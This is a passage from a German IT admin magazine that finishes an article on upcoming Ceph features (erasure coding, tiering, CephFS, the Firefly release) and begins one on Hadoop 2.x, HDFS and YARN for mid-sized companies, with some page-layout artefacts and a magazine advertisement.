Ceph kranken an der Tatsache, dass<br />
sie Redundanz intern lediglich über<br />
die bloße Replikation binärer Objekte<br />
ermöglichen. Von jedem Objekt gibt<br />
es eine exakte Kopie an einer anderen<br />
Stelle im Cluster.<br />
Wer mehr als eine Replika pro Objekt<br />
haben möchte, verliert also effektiv<br />
jedes Mal einen sehr großen Teil an<br />
verfügbarer Speicherkapazität. Mit drei<br />
Replikas pro Objekt wird aus einem<br />
90-Terabyte-Cluster so ein deutlich<br />
kleinerer 30-Terabyte-Cluster. Dieses<br />
Verhalten ist insofern lästig, als im Storage-Umfeld<br />
ja durchaus schon fertige<br />
Lösungen dafür existieren, wie man das<br />
Problem eleganter löst: RAID-Systeme<br />
garantieren beispielsweise Redundanz<br />
ohne einen solch extremen Abfall der<br />
Nettokapazität.<br />
Erasure Coding soll die Möglichkeit in<br />
Ceph bringen, effektiver in Hinblick<br />
auf den vorhandenen Speicherplatz<br />
Redundanz zu gewährleisten. Eine genaue<br />
Beschreibung des Prinzips würde<br />
den Rahmen des Artikels sprengen, im<br />
Grundsatz funktioniert die Lösung aber<br />
so: Anstatt von binären Objekten ganze<br />
Replikas zu bauen, führt der Cluster ein<br />
System von Paritätsdaten ein und teilt<br />
die Daten anschließend in Chunks auf<br />
(Abbildung 3). Anhand der Paritätsdaten<br />
lässt sich über eine XOR-Tabelle die<br />
Platzierung einzelner Chunks errechnen.<br />
Das System ist den üblichen Mechanismen<br />
von RAID-Lösungen wie RAID 5<br />
also sehr ähnlich, freilich gibt es aber<br />
auch einen Pferdefuß: In Abhängigkeit<br />
von der gewählten Granularität fallen<br />
in einem Erasure-Coding-Szenario beim<br />
Recovery deutlich mehr Netzwerkzugriffe<br />
und auch mehr Traffic an, sodass<br />
der gesamte Vorgang unter Umständen<br />
mehr Zeit in Anspruch nimmt. Wer<br />
seine OSDs über eine 10-Gbit-Verbindung<br />
miteinander reden lässt, dürfte<br />
von diesem Effekt nichts spüren; in Betracht<br />
ziehen sollten Administratoren<br />
ihn aber dennoch.<br />
Der Nutzen des Erasure Coding ist im<br />
Vergleich jedenfalls kaum groß genug<br />
einzuschätzen. Wie der Upgrade-Pfad<br />
aussehen wird und ob oder wann es<br />
möglich sein wird, bestehende Installationen<br />
auf Erasure Coding zu ändern,<br />
stand zu Redaktionsschluss übrigens<br />
noch nicht fest. Dass das Feature in der<br />
Firefly-Version kommen wird, darf hingegen<br />
als sicher gelten – denn bereits<br />
Mitte Dezember waren die Alpha-Tester
62<br />
Know-how<br />
Ceph<br />
Abbildung 4: Auch an Kleinigkeiten schrauben die Ceph-Entwickler bisweilen herum; die Anzeige des Watchmodes<br />
von »ceph« hat sich über die letzten Versionen mehrere Male geändert. Hier: Emperor.<br />
n Info<br />
fleißig bei der Arbeit. Das ist insofern<br />
beruhigend, als dass Erasure Coding<br />
einige Umbauarbeiten im Code von<br />
Ceph erfordert; offenbar geht man<br />
bei Inktank auf Nummer sicher. Loic<br />
Dachary von Cloudwatt, der maßgeblich<br />
für das Erasure-Coding-Feature<br />
verantwortlich ist, ist als Speaker regelmäßig<br />
bei den Ceph-Days anwesend.<br />
Wer ihn also persönlich zum Thema<br />
befragen will, hat im Rahmen dieser<br />
Veranstaltungen die Möglichkeit dazu.<br />
Tiering<br />
Und dann sollte freilich auch das<br />
Thema Tiering nicht unerwähnt bleiben.<br />
In der Storage-Welt genießt dieses<br />
mittlerweile hohe Priorität, denn es<br />
ist eine attraktive Lösung, „wichtige“<br />
oder gerade benutzte Daten in einem<br />
schnellen Storage zwischenzuspeichern,<br />
während ältere, nicht mehr<br />
regelmäßig benötigte Daten durchaus<br />
auch auf langsameren Spinner-Disks<br />
liegen können. Angesichts der noch<br />
Weiterführende Links und<br />
Informationen zu diesem<br />
Artikel finden Sie unter:<br />
www.admin-magazin.de/qr/31565<br />
[1] GlusterFS-Vergleich: [http:// redhatstorage.<br />
redhat. com/ 2013/ 11/ 07/ red‐hat‐storage‐out<br />
performs‐ceph‐by‐more‐than‐3x‐for‐opensta<br />
ck‐cloud‐environments/]<br />
[2] Ceph-Deploy: [https:// github. com/ ceph/<br />
ceph‐deploy]<br />
[3] HP zu Loopmounts: [http:// h10025.<br />
www1. hp. com/ ewfrf/ wc/ document?<br />
docname=c02073470& cc=at& dlc=en& lc=en]<br />
[4] Ceph-Github: [https:// github. com/ ceph/ ceph]<br />
[5] Ceph-Days: [http:// www. inktank. com/<br />
CEPHdays/]<br />
immer heftigen Preise für Flash-basierten<br />
Speicher bietet Tierung auf der<br />
Storage-Ebene auch enormes Potenzial<br />
Kosten zu sparen.<br />
Ceph beherrscht Tiering im Ansatz ja<br />
eigentlich ohnehin schon seit etlichen<br />
Versionen. Denn über den von Ceph<br />
genutzten CRUSH-Algorithmus ist es<br />
problemlos möglich, verschiedene<br />
Pools in Ceph mit verschiedenen<br />
Speicherzielen zu verbinden. Ein Speicherpool<br />
namens »ssd« könnte also<br />
beispielsweise auf schnelles Storage<br />
zeigen, während ein Storage namens<br />
»sata« für Archivstorage gedacht wäre.<br />
In der Realität scheitert echtes Tiering<br />
in Ceph jedoch daran, dass die Daten<br />
im Moment nicht flexibel zwischen unterschiedlichen<br />
Tiering-Layern hin- und<br />
herwandern können. Es besteht also<br />
nicht die Möglichkeit, gerade genutzte<br />
Daten temporär auf das »ssd«-Storage<br />
auszulagern, um sie danach wieder auf<br />
die »sata«-Ebene zu verschieben. Tiering<br />
wird genau diese Möglichkeit bieten,<br />
und wie beim Erasure-Coding sind<br />
die Arbeiten an der Funktion bereits in<br />
vollem Gange (Abbildung 4).<br />
Und CephFS?<br />
Freilich darf in der Liste der Dinge, an<br />
denen gearbeitet wird, auch CephFS<br />
nicht fehlen: Der Stachel bei Sage<br />
Weil sitzt schon insofern tief, als dass<br />
CephFS jene Komponente ist, die von<br />
ihm nur das Prädikat „almost awesome“<br />
erhält. Bei CephFS ist entgegen<br />
aller Unkenrufe in den letzten Monaten<br />
viel passiert: Kopfschmerzen bereiten<br />
den Entwicklern derzeit eigentlich nur<br />
Setups, in denen der Metadaten-Service<br />
in skaliertem Zustand vorkommt.<br />
Grundsätzlich funktioniert ein CephFS<br />
ja auch mit einem einzelnen Metadaten-Server,<br />
aber der kriegt dann die<br />
gesamte Last aller Zugriffe<br />
ab. Über die Einteilung in<br />
eigene Subtrees für spezifische<br />
Metadaten-Bereiche<br />
lässt sich das verhindern:<br />
Dann gibt es einfach mehrere<br />
Metadaten-Server, die<br />
unterschiedliche Bereiche<br />
des Trees abackern. So stabil<br />
wie gewollt ist das allerdings<br />
noch nicht. Wann mit<br />
einer CephFS-Version 1.0 zu rechnen<br />
ist, ist derzeit noch nicht absehbar.<br />
Release im Februar<br />
Nachdem Sage Weil beschlossen hat,<br />
einen »Continous Release Cycle« von<br />
drei Monaten für Ceph anzuwenden,<br />
steht die nächste Release, mit dem<br />
Codenamen Firefly, im Februar 2014<br />
an. Seit der Einführung dieses Release-<br />
Schemas war Weil stets gut darin, den<br />
Zeitplan auch einzuhalten. Falls nichts<br />
dazwischen kommt, dürfte ein Firefly<br />
mit Support für Erasure Coding und<br />
Tiering also schon bald zur Verfügung<br />
stehen.<br />
Mit der Firefly-Release nimmt Inktank<br />
übrigens auch die Business-Kunden<br />
noch stärker ins Visier, als es ohnehin<br />
schon der Fall war: Die Version soll die<br />
erste echte »Long Term Support«-Version<br />
werden, für die Inktank mehrere<br />
Jahre Unterstützung verspricht. Gerade<br />
im Storage-Umfeld, in dem der Lebenszyklus<br />
einer Speicherlösung fast immer<br />
auf 5 Jahre angelegt ist (weil bei SAN-<br />
Storages nach dieser Zeit die Garantie<br />
endet), ist das ein wichtiger Faktor und<br />
gibt Planern Sicherheit. Wer einen ersten<br />
Blick auf Firefly werfen will, kann<br />
das bereits tun – auf GitHub finden sich<br />
die passenden Dateien [4].<br />
Übrigens: Inktank plant auch in<br />
Deutschland einen Ceph-Day, der dem<br />
Vernehmen nach in Frankfurt stattfinden<br />
wird. Genauere Details waren<br />
vorab leider noch nicht zu bekommen,<br />
sobald sie aber verfügbar sind, dürften<br />
sie aber auf [5] erscheinen, sodass<br />
sich ein gelegentlicher Blick auf diese<br />
Seite sicherlich lohnt. Wer also einmal<br />
Sage Weil treffen möchte, der hat im<br />
Rahmen eines solchen Ceph-Days dazu<br />
jedenfalls in aller Regel auch die Möglichkeit.<br />
(jcb) n<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
64<br />
Know-how<br />
Hadoop<br />
Roman Gorielov, 123RF<br />
Big Data für den Mittelstand<br />
Rechenkünstler<br />
Big Data ist in aller Munde und Hadoop gewinnt an Boden, wenn auch bisher vorwiegend als ein verteiltes<br />
Dateisystem. MapReduce, die Datenverarbeitungs-Engine in Hadoop 1, erscheint vielen noch als zu kompliziert<br />
und zu unflexibel. Hadoop 2.x verspricht, Abhilfe zu schaffen. Anna Kobylinska und Filipe Martins<br />
Alle Unternehmen, von kleinen Webshops<br />
bis hin zu multinationalen<br />
Großkonzernen, sammeln detaillierte<br />
Daten über das Tagesgeschehen, wenn<br />
auch zum Teil ungewollt. Das reicht<br />
von Kaufvorgängen über die Wirkung<br />
von Marketing-Initiativen bis hin zu den<br />
Social-Media-Aktivitäten des Unternehmens.<br />
Diese riesige Menge unstrukturierter<br />
Daten – Big Data – verspricht<br />
wertvolle Einblicke und reichlich Material<br />
für die Entscheidungsfindung zu<br />
liefern. Wer davon profitieren möchte,<br />
muss sich der Herausforderung Big<br />
Data stellen.<br />
SQL, NoSQL, Hadoop<br />
Konventionelle Big-Data-Lösungen<br />
schleppen mit sich die Altlasten eines<br />
Ökosystems herum, das rund um eine<br />
Datenbank – sei es SQL oder NoSQL<br />
– aufgebaut ist. Astronomische Lizenzkosten<br />
positionieren sie praktisch<br />
außerhalb der Reichweite mittlerer Un-<br />
ternehmen, und das erst recht, wenn<br />
Hochverfügbarkeitsfeatures erwünscht<br />
sind. Den größten Flaschenhals stellt<br />
bei diesen Lösungen oft die Datenbank<br />
dar, denn sie lässt sich meist nur mit<br />
erheblichem administrativen Aufwand<br />
über die Grenzen einzelner Server<br />
hinaus skalieren. Herkömmliche Datenanalyse-Verfahren<br />
und relationale<br />
Datenbanken können hier an Grenzen<br />
stoßen. Sogar manche Cloud-Lösungen<br />
skalieren nicht ohne obligatorische<br />
Downtime. Ein möglicher Ausweg heißt<br />
Hadoop.<br />
Apache Hadoop ist ein Framework für<br />
die verteilte Verarbeitung vor allem<br />
unstrukturierter Daten auf Computer-<br />
Clustern. Hadoop macht es möglich,<br />
Rechenprozesse kostengünstig ablaufen<br />
zu lassen, und zwar sowohl onpremise<br />
auf Commodity-Hardware, in<br />
einem Rechenzentrum oder aber in der<br />
virtualisierten Umgebung eines Cloud-<br />
Dienstleisters.<br />
Besonderheiten von Hadoop<br />
Die Zugriffe auf eine gewöhnliche relationale<br />
Datenbank nutzen Abfragen<br />
in einem der vielen Dialekte der Standardsprache<br />
SQL (Structured Query<br />
Language). Beim Zugriff auf nicht-relationale<br />
Datenbanken sind neben SQL<br />
andere Abfragesprachen möglich (daher<br />
kommt der Begriff NoSQL). Hadoop<br />
fällt in keine dieser beiden Kategorien,<br />
denn es nutzt einfach gar keine Datenbank.<br />
Genau diesem Ansatz verdankt<br />
Hadoop seine Flexibilität und seine<br />
Robustheit.<br />
Hadoop besteht aus zwei Grundkomponenten:<br />
Zum einem dem verteilten<br />
Dateisystem Hadoop Distributed File<br />
System (HDFS), zum anderen einem<br />
verteilten, modularisierten Datenverarbeitungs-Framework.<br />
Dafür nutzt Hadoop<br />
1.x MapReduce. Hadoop 2.x setzt<br />
an dieser Stelle entweder MapReduce<br />
oder auch dessen Nachfolger YARN ein<br />
(siehe unten).<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
Know-how<br />
Hadoop<br />
65<br />
Die Aufgabe von HDFS besteht darin,<br />
die Daten möglichst effizient und<br />
ausfallsicher aufzubewahren und möglichst<br />
flott bereitzustellen.<br />
Bei HDFS handelt es sich nicht um<br />
ein „clusterisiertes“, sondern um ein<br />
verteiltes Dateisystem: Es läuft auf<br />
mehreren Knoten in einem Netzwerk –<br />
aber ohne (teure) SAN-Lösung. HDFS ist<br />
dadurch sehr kosteneffizient.<br />
Das Datenverarbeitungs-Framework<br />
spricht mit dem Dateisystem, verwaltet<br />
Ressourcen und überwacht<br />
die Ausführung der Befehle, die eine<br />
Hadoop-kompatible Applikation an das<br />
Framework sendet. Diese Befehle bilden<br />
sogenannte Jobs. Die Jobs sind als<br />
einzelne winzige Java-Applikationen<br />
implementiert.<br />
Dank dieser Architektur lassen sich<br />
Workloads nicht nur über mehrere Knoten<br />
eines Computer-Clusters verteilen,<br />
sondern der Cluster selbst lässt sich<br />
umkonfigurieren, noch während er laufende<br />
Jobs ausführt. Daraus resultieren<br />
mehrere wichtige Vorteile. Erstens<br />
trumpft Hadoop mit der Fähigkeit auf,<br />
bedarfsgerecht und ohne Downtime<br />
zu skalieren. Diese Elastizität ist nicht<br />
nur dann von Nutzen, wenn die Datenmenge<br />
extrem zu- oder abnimmt,<br />
sondern auch dann, wenn der Termindruck<br />
die temporäre Bereitstellung zusätzlicher<br />
Rechenkapazitäten sinnvoll<br />
erscheinen lässt.<br />
Bei steigender Belastung aktiver Nodes<br />
können zusätzliche Nodes automatisch<br />
gestartet werden, zum Beispiel mit<br />
dem Amazon Autoscaling API in AWS.<br />
In diesem Fall überwacht die Wolke<br />
die Belastung der einzelnen Instanzen<br />
mithilfe von CloudWatch. Sobald die<br />
Bedingungen, die der Administrator<br />
vorgegeben hat, zutreffen, startet AWS<br />
automatisch neue Server-Instanzen,<br />
die sich in den Hadoop-Cluster integrieren,<br />
bei dem Ressourcen-Verwalter registrieren<br />
und schließlich Jobs zugeteilt<br />
bekommen.<br />
Darüber hinaus arbeitet Hadoop sehr<br />
Ressourcen-schonend, denn anstatt<br />
riesige Datenmengen kreuz und quer<br />
durch das Netz zwischen verschiedenen<br />
Nodes hin und her zu kopieren, wie<br />
es bei vielen RDBMS der Fall ist, sendet<br />
es vergleichsweise winzige Anweisun-<br />
gen genau dorthin, wo<br />
sich die betreffenden<br />
Daten bereits befinden.<br />
In einer Datenbank,<br />
die auf mehreren<br />
Servern läuft, werden<br />
die Daten in der Regel<br />
separat von der<br />
Software-Logik aufbewahrt,<br />
typischerweise<br />
auf verschiedenen<br />
Instanzen. Im Gegensatz<br />
dazu liegen in<br />
einem Hadoop-Cluster<br />
sowohl Daten als auch<br />
die Datenverarbeitungslogik<br />
auf jeder<br />
Maschine. Dadurch<br />
kann das Framework<br />
einzelne Jobs besonders<br />
effizient ausführen:<br />
jeweils auf der<br />
Instanz, auf der die betreffenden<br />
Daten lokal<br />
vorliegen. Die resultierende Redundanz<br />
verteilter Datenverarbeitung verbessert<br />
zudem die Robustheit des Clusters.<br />
Mit einer Vielzahl von kostenlosen wie<br />
auch kommerziellen Tools lässt sich<br />
Hadoop um zusätzliche Fähigkeiten<br />
erweitern. Mit der quelloffenen Applikation<br />
Apache Hive können Sie zum<br />
Beispiel SQL-Abfragen in MapReduce-<br />
Jobs übersetzen und Hadoop wie eine<br />
(verteilte!) SQL-Datenbank ansprechen.<br />
Gefragte Qualifikationen<br />
Wer die Entwicklungen im IT-Jobmarkt<br />
der USA als Messlatte für künftige<br />
Trends ansetzt, wird feststellen, dass<br />
der Bedarf nach Hadoop-Kompetenz<br />
nahezu explodiert (Abbildung 1). Kein<br />
Wunder, denn das Framework findet<br />
viele Einsatzgebiete in der Praxis. Auch<br />
in Deutschland mehren sich inzwischen<br />
Jobangebote rund um Big Data mit<br />
Hadoop. So suchte der Personaldienstleister<br />
Hays AG deutschlandweit Java-<br />
Entwickler, Softwarearchitekten und<br />
Systemadministratoren mit Apache-<br />
Hadoop-Kompetenzen für verschiedene<br />
Standorte. Die JobLeads GmbH<br />
versuchte im gleichen Zeitraum im<br />
Auftrag nicht näher benannter Kunden<br />
nahezu eine Hundertschaft Hadoopversierte<br />
IT-Fachkräfte zu rekrutieren.<br />
Abbildung 1: Trends auf dem Arbeitsmarkt in den USA versprechen<br />
Hadoop-versierten IT-Fachkräften eine leuchtende Zukunft.<br />
Laut einer Studie von IDC verzeichnet<br />
der weltweite Markt für Hadoop einen<br />
jährlichen Zuwachs von 60 Prozent.<br />
Allerdings stellte dieselbe Studie<br />
ebenfalls fest, dass sich dieses Wachstumstempo<br />
fast ausschließlich auf den<br />
Einsatz von Hadoop als elastischen und<br />
günstigen, verteilten Massenspeicher<br />
beschränkt.<br />
Im Bereich der Datenanalyse gehört<br />
Hadoop zwar zur Weltspitze, doch eben<br />
diese Funktionalität scheint in der Praxis<br />
oft brach zu liegen. Hadoop-Anwender<br />
mit geringeren Entwicklungskapazitäten<br />
neigen verständlicherweise<br />
dazu, ihre wachsenden Datenbestände<br />
kostengünstig in HDFS vorzuhalten und<br />
die Datenanalyse mit externen, wenn<br />
auch schwächeren Lösungen zu bewältigen.<br />
Der Grund dafür ist einleuchtend:<br />
MapReduce in Hadoop 1.x wird von<br />
vielen als zu kompliziert und zu unflexibel<br />
empfunden. Hadoop 2.x soll Abhilfe<br />
schaffen und dem leistungsstarken<br />
Big-Data-Framework zu einer größeren<br />
Verbreitung verhelfen.<br />
Einsatzgebiete und<br />
Anwendungsbeispiele<br />
Praktische Einsatzgebiete von Hadoop<br />
sind sehr vielfältig. Sie beinhalten die<br />
Analyse von Web-Clickstream-Daten<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 02-2014
66<br />
Know-how<br />
Hadoop<br />
Abbildung 2: Die Media-Asset-Management-Plattform der österreichischen<br />
Red Bull Media House GmbH setzt auf HDFS auf.<br />
zur Optimierung der Konversionsrate,<br />
das Auswerten der Sensordaten eines<br />
Maschinenparks zur Optimierung von<br />
Produktionsprozessen oder von Server-<br />
Logdateien für eine verbesserte Sicherheit,<br />
das Erstellen von Vorhersagen<br />
auf der Basis von Geolocation-Daten,<br />
Data-Mining von Social-Media-Aktivitäten<br />
wie Twitter-Diskussionen oder<br />
Facebook-Likes für ein besseres Verständnis<br />
der eigenen Zielgruppe, statistische<br />
Aufbereitung von Such-Indizes<br />
und RFID-Daten – die Liste nimmt kein<br />
Ende.<br />
Banken und Versicherungen nutzen<br />
Applikationen auf Basis von Hadoop<br />
für die Bewertung von Kunden anhand<br />
ihrer Finanzhistorie mithilfe von Mustererkennungsalgorithmen.<br />
So können<br />
Finanzinstitute unter anderem dem<br />
Kreditkartenmissbrauch einen Riegel<br />
vorschieben und die Kreditwürdigkeit<br />
ihrer Kunden im Rahmen des Risikomanagements<br />
besser einschätzen.<br />
Im E-Commerce und in der Online- und<br />
mobilen Werbung kommt Hadoop<br />
beim Berechnen von Produktempfehlungen<br />
zum Einsatz. Das Verhalten<br />
eines Besuchers im eigenen Webshop<br />
und auf Social Media<br />
dient hier als Grundlage<br />
zum Erforschen<br />
seiner Präferenzen.<br />
Rechenzentren, Telcos<br />
und Webhoster nutzen<br />
Hadoop-basierte Lösungen,<br />
um Flaschenhälse<br />
oder Fehler in<br />
Netzwerken frühzeitig<br />
zu erkennen, indem sie<br />
den Netzwerkverkehr<br />
statistisch auswerten.<br />
Ein anderes Beispiel<br />
stellen Algorithmen<br />
zur Analyse der Bedeutung<br />
von Texten<br />
dar, die von Menschen<br />
verfasst wurden. So<br />
etwas setzen manche<br />
E-Commerce-Anbieter<br />
und Telekommunikationsdienstleister<br />
beim<br />
Auswerten von Kundenanfragen<br />
ein.<br />
Mit Lösungen auf Basis<br />
von Hadoop lassen<br />
sich auch mehrere verschiedene Datenquellen<br />
kombinieren und so multidimensionale<br />
Analysen erstellen.<br />
Zu den Vorreitern beim Einsatz von<br />
Hadoop für multidimensionale Datenanalyse<br />
zählt die Glücksspielindustrie.<br />
Denn Casinos sind besonders<br />
verwundbar: Im Betrugsfall können<br />
sie in wenigen Minuten sehr viel Geld<br />
verlieren. Analytics-Lösungen für Big<br />
Data haben sich bei der Betrugsermittlung<br />
und beim Erforschen der eigenen<br />
Zielgruppe mehr als bewährt. Dank<br />
Big Data können Casino-Betreiber fein<br />
granulierte Kundenprofile anfertigen.<br />
Alleine das Flamingo-Hotel von Caesars<br />
Entertainment in Las Vegas beschäftigt<br />
200 Big-Data-Analysten. Spezialisierte<br />
Analytics-Lösungen für die Glücksspielindustrie<br />
wie Kognitio (kognitio.com)<br />
setzen auf Hadoop auf.<br />
Spielchips, Kunden-Loyalitätskarten<br />
und sogar Spirituosenflaschen in Bars<br />
wie die bei Aria Hotel und Casino sind<br />
mit RFID-Tags ausgestattet. Diese Technologie<br />
erlaubt es, das Geschehen in<br />
Echtzeit zu verfolgen. Casinos nehmen<br />
all diese Messwerte als fein granulierte<br />
Daten konsequent unter die Lupe.<br />
„Casinos stellen die talentiertesten<br />
Kryptographen, Computer-Sicherheitsexperten<br />
und Spieltheoretiker ein“ sagt<br />
John Pironti, leitender Informationsrisikostratege<br />
des Datenschutzspezialisten<br />
Archer Technologies. Sicherheitstechnologien<br />
wie die Videoüberwachung<br />
oder RFID-Tracking produzieren<br />
riesige Datenmengen. Relevante Daten<br />
werden dabei niemals verworfen, denn<br />
sie sind einfach zu wertvoll. Auch hier<br />
kommt Hadoop zum Einsatz – und zwar<br />
als ein verteiltes Dateisystem. Während<br />
Casinos mit diesen Innovationen<br />
experimentieren, versuchen auch Unternehmen<br />
in anderen Branchen, diese<br />
Erfahrungen für ihr eigenes Geschäft zu<br />
nutzen.<br />
Auf Basis von Hadoop lassen sich<br />
maßgeschneiderte Lösungen programmieren,<br />
um Datenbestände effizienter<br />
zu verwalten. Ein Beispiel liefert das<br />
Media Asset Management der Red Bull<br />
Media House GmbH (Abbildung 2). Die<br />
deutsche ADACOR Hosting GmbH aus<br />
Essen stellte im Auftrag des österreichischen<br />
Unternehmens Red Bull Media<br />
House GmbH mehrere Lösungen für<br />
das Media Asset Management auf den<br />
Prüfstand. Die Aufgabe bestand darin,<br />
ein zentrales Repository von Inhalten<br />
wie Videoclips, Fotos und Audiodateien<br />
in verschiedenen Formaten und Qualitätsstufen<br />
zu schaffen, damit die Kunden<br />
jederzeit von überall her schnell<br />
und einfach auf diese Daten zugreifen<br />
konnten.<br />
Zu den Anforderungen zählte der<br />
Wunsch nach elastischer Skalierbarkeit<br />
ohne Wartungsfenster, minimalen Ausfallzeiten<br />
bei Hardware-Pannen, Datenreplikation,<br />
schneller Auslieferung<br />
der Daten, einer einfachen Verwaltung<br />
und einem besseren Kosten-Nutzen-<br />
Verhältnis als es Standardlösungen wie<br />
EMC-Storage bieten. In die engere Wahl<br />
kamen unter anderem NFS, GlusterFS,<br />
Lustre, Openfiler, CloudStore und<br />
schließlich das Hadoop Distributed File<br />
System (HDFS).<br />
Als erster Ansatz wurde NFS untersucht,<br />
ein in der Unix-Welt sehr<br />
verbreitetes, stabiles und bewährtes<br />
Dateisystem. NFS enttäuschte ADACOR<br />
durch unzureichende Performance<br />
und fehlende Features wie die nicht<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
ADMIN<br />
InklusIve:<br />
IT-Praxis & Strategie<br />
Debian-Version 7.2<br />
JAhRes-DVD 2013<br />
ALLe ArTIkeL des JAHres Auf eINer dVd<br />
INHALT<br />
■ Artikel zu Storage, Backup,<br />
Security, Monitoring,<br />
Virtualisierung u.v.m.<br />
■ Zum Lesen am Bildschirm<br />
oder Ausdrucken: PDF und<br />
HTML-Format<br />
■ Search Engine für<br />
Artikel-Volltext-Suche<br />
Jetzt gleich bestellen!<br />
www.admin-magazin.de/DVD2013 oder 089 - 99 34 11 - 00
68<br />
Know-how<br />
Hadoop<br />
vorhandene Datenreplikation. Auch die<br />
Verwaltung des verteilten Speichers<br />
hätte die resultierende Applikation<br />
übernehmen müssen. Der Aufwand<br />
wäre einfach zu groß gewesen.<br />
Als zweiter Kandidat kam GlusterFS<br />
unter die Lupe. Mit diesem Dateisystem<br />
hatte die ADACOR Hosting GmbH<br />
bereits in einem anderen Kontext gute<br />
Erfahrungen gemacht, vor allem im<br />
Hinblick auf die Performance. Mit steigender<br />
Anzahl der Knoten eines GlusterFS-Clusters<br />
nimmt der maximale<br />
Datendurchsatz zu. GlusterFS disqualifizierte<br />
sich jedoch in den Augen der<br />
Tester durch einen sehr hohen Verwaltungsaufwand<br />
und eine praxisfremde<br />
Skalierbarkeit mit obligatorischer<br />
Downtime.<br />
Lustre konnte sowohl im Hinblick auf<br />
die Performance, Skalierbarkeit als<br />
auch die komfortable Administration<br />
punkten. Doch auch diese Lösung hatte<br />
zum Zeitpunkt der Implementierung<br />
keine robuste Replikation vorzuweisen.<br />
Openfiler fiel aus der engeren Auswahl<br />
heraus, als das System mehrere Tage<br />
brauchte, um ein Rebuild von lediglich<br />
3 Terabyte Daten abzuschließen. Cloud-<br />
Store wurde von ADACOR aufgrund<br />
mangelnder Stabilität verworfen.<br />
Lediglich HDFS, das verteilte Dateisystem<br />
von Hadoop, konnte in allen Punkten<br />
überzeugen und die Kundenanforderungen<br />
am ehesten erfüllen.<br />
Big Data: eine Frage der<br />
Flexibilität<br />
Zu den beinahe unverwüstlichen Mythen,<br />
die sich in der IT-Industrie halten,<br />
zählt die Überzeugung, dass Big Data<br />
nur für Großunternehmen anwendbar<br />
oder bezahlbar sei. Der Mittelstand<br />
ist fast schon selbstverständlich fest<br />
davon überzeugt, dass ohne Datenbestände<br />
im Petabyte-Bereich ohnehin<br />
nicht von Big Data die Rede sein kann.<br />
Nichts könnte weiter von der Wahrheit<br />
entfernt sein. Auch wenn es sich „nur“<br />
um Datenmengen von 10 oder 50 Terabyte<br />
handelt, bietet sich der Einsatz<br />
von Hadoop an. Bei Big Data handelt es<br />
sich nicht um eine bestimmte Datenmenge,<br />
sondern um das Fehlen einer<br />
Datenstruktur.<br />
Eigentlich besteht die Frage gar nicht<br />
darin, ob sich ein Unternehmen „bereits“<br />
für Big Data qualifiziert. Viele<br />
Firmen haben allerdings zuvor noch<br />
eine ganz andere Herausforderung:<br />
ein Daten-Management-Problem. Ein<br />
unternehmenseigenes Data Warehouse<br />
stößt sehr schnell an die Kapazitätsgrenzen<br />
einer einzelnen Maschine. So<br />
sind zunächst isolierte Datensilos entstanden.<br />
Wer aus ihnen umsetzbare Erkenntnisse<br />
gewinnen möchte, braucht<br />
ein verteiltes Cluster-Dateisystem wie<br />
HDFS, das mit den Anforderungen<br />
mitwächst, und ein Framework wie<br />
Hadoop.<br />
Für den Mittelstand gibt es keine sachlichen<br />
oder finanziellen Gründe, um<br />
auf Big Data zu verzichten. Zugegeben:<br />
zu den lautstärksten Benutzern von<br />
Hadoop gehören einige der größten<br />
Namen aus der IT-, Social-Media- und<br />
Unterhaltungsindustrie, darunter Amazon<br />
Web Services, AOL, Apple, eBay, Facebook,<br />
Netflix und HP. Doch vor allem<br />
für kleinere Firmen mit schmalen Budgets<br />
kommt Hadoop 2.2.x wie gerufen:<br />
einfach zu programmieren, kostenfrei,<br />
plattformunabhängig und offen.<br />
Die größte Herausforderung beim<br />
Einsatz von Hadoop ist keinesfalls ein<br />
dickes Finanzpolster, sondern fehlendes<br />
Know-how. Im ersten Schritt<br />
gilt es, sich die günstige Datenverarbeitung<br />
und robuste Datensicherung<br />
n Big-Data-Applikationen mit Unterstützung für YARN<br />
Aus der effizienten Ressourcen-Verwaltung durch YARN kann eine Vielzahl von Applikationen bereits<br />
heute einen Nutzen ziehen (Abbildung 3). Die Liste YARN-optimierter Big-Data-Applikationen beinhaltet<br />
unter anderem Apache Giraph (Visualisierung), Apache Hama (BSP), Apache Hadoop Map-<br />
Reduce (Stapelverarbeitung von Daten), Apache Tex (Stapelverarbeitung und interaktive Jobs im<br />
Arbeitsspeicher), Apache S4/Samza/Storm (Echtzeitverarbeitung von Datenströmen), Apache Spark<br />
(iterative und interaktive Applikationen), Elastic Search, Cloudera Llama (eine YARN-Implementierung<br />
von Impala einer hybriden Ad-hoc-Abfrage-Engine mit Unterstützung für den SQL-Dialekt<br />
Hive QL), DataTorrent (Datenanalyse), HOYA (HBase auf YARN) und Red Point (Datenverwaltung).<br />
mit Hadoop zunutze zu machen. Erst<br />
nachdem das Unternehmen damit<br />
begonnen hat, die Früchte dieser Kostensenkungen<br />
zu ernten, kann es die<br />
eigenen Aktivitäten rund um die Datenanalyse<br />
ausbauen. Erst in dieser Phase<br />
macht es Sinn, Datenwissenschaftler<br />
zu beschäftigen, damit sie mithilfe von<br />
Datenanalyselösungen auf der Basis<br />
von Hadoop anspruchsvolleren Fragen<br />
nachgehen.<br />
MapReduce NextGen<br />
Die Änderungen in Hadoop 2.2.0 sind<br />
tiefgreifend und durchdacht. Den Innovationen<br />
liegt die Modularisierung<br />
der Engine zugrunde. Dieser gewagte<br />
Schritt soll das Hadoop-Ökosystem um<br />
Plug-ins und andere Erweiterungen<br />
bereichern. Er verspricht nebenbei<br />
auch zusätzliche Flexibilität für den<br />
Hadoop-Administrator. So kann der<br />
Admin einige eingebaute Algorithmen<br />
bereits heute durch externe Module<br />
ersetzen, um in den Genuss erweiterter<br />
Funktionalität zu kommen. Das betrifft<br />
zum Beispiel Shuffle und Sort. Diese<br />
Module lassen sich sogar parallel und<br />
zusammern mit den eingebauten Algorithmen<br />
nutzen.<br />
Zu den wichtigsten Neuerungen in der<br />
Version 2.2.0 zählt die Einführung von<br />
YARN (Yet Another Resource Negotiator)<br />
als optionalen Ersatz für MapReduce.<br />
MapReduce in Hadoop 1.x (Abbildung<br />
5) war nicht für alle Workloads<br />
optimal geeignet. Es läuft dort zur<br />
Höchstform auf, wo sich die Aufgaben<br />
klar aufteilen und parallelisieren lassen.<br />
Viele der Unzulänglichkeiten von<br />
MapReduce sind mit YARN passé.<br />
Bei YARN handelt es sich um eine<br />
